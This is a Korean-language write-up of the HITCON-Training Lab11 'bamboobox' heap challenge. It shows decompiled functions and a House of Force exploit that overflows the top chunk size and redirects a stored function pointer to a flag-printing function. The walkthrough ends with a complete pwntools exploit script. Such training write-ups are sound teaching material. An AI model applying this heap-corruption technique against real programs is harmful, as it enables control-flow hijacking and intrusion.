[HITCON-Training]Lab11

checksec은 그냥 pie빼고 다 걸려있다.

bamboobox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=595428ebf89c9bf7b914dd1d2501af50d47bbbe1, not stripped

magic함수가 있는데 이거 호출해주면 될거같다.

void __noreturn magic()
{
  int fd; // ST0C_4
  char buf; // [rsp+10h] [rbp-70h]
  unsigned __int64 v2; // [rsp+78h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  fd = open("/home/bamboobox/flag", 0);
  read(fd, &buf, 0x64uLL);
  close(fd);
  printf("%s", &buf);
  exit(0);
}

main 함수를 보면 *v3에 hello_message *v3[1]에 goodbye_message 각각 힙 영역에 저장해둔다.

처음에 hello_message 를 실행해준다. 근데 case 5 보면 (v3[1])(&buf, &buf); 이런게 있는데 여기서 함수 포인터를 magic으로 바꿔서 실행해주면 될거다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _QWORD *v3; // [rsp+8h] [rbp-18h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v3 = malloc(16uLL);
  *v3 = hello_message;
  v3[1] = goodbye_message;
  (*v3)(16LL, 0LL);
  while ( 1 )
  {
    menu();
    read(0, &buf, 8uLL);
    switch ( atoi(&buf) )
    {
      case 1:
        show_item();
        break;
      case 2:
        add_item();
        break;
      case 3:
        change_item();
        break;
      case 4:
        remove_item();
        break;
      case 5:
        (v3[1])(&buf, &buf);
        exit(0);
        return;
      default:
        puts("invaild choice!!!");
        break;
    }
  }
}

house of force 문제다. 익스 시나리오는 아래와 같다.

  1. add로 할당

32만큼 할당해줬다.

  1. top chunk 덮음

edit에서 heap overflow나서 top chunk header랑 size부분 덮어준다.

  1. add로 main_arena.top 변경

malloc(-88)

  1. add로 goodbye_message 함수 포인터 magic 으로 덮음

  2. 5번 메뉴 호출하면 (v3[1])(&buf, &buf);magic 함수를 가르키고 있어서 magic함수 호출

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./bamboobox')
p = process('./bamboobox')
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
magic = e.symbols['magic']

def show():
	sla(':','1')

def add(length,name):
	sla(':','2')
	sla(':',str(length))
	sa(':',name)

def edit(index,length,name):
	sla(':','3')
	sla(':',str(index))
	sla(':',str(length))
	sa(':',name)

def remove(index):
	sla(':','4')
	sla(':',str(index))

add(32,'AAAA')
edit(0,48,'B'*40 + p64(0xffffffffffffffff)) # top chunk dup
#raw_input()
add(-88,'BBBB')
add(16, p64(magic)*2)
#raw_input()
sla(':','5')

p.interactive()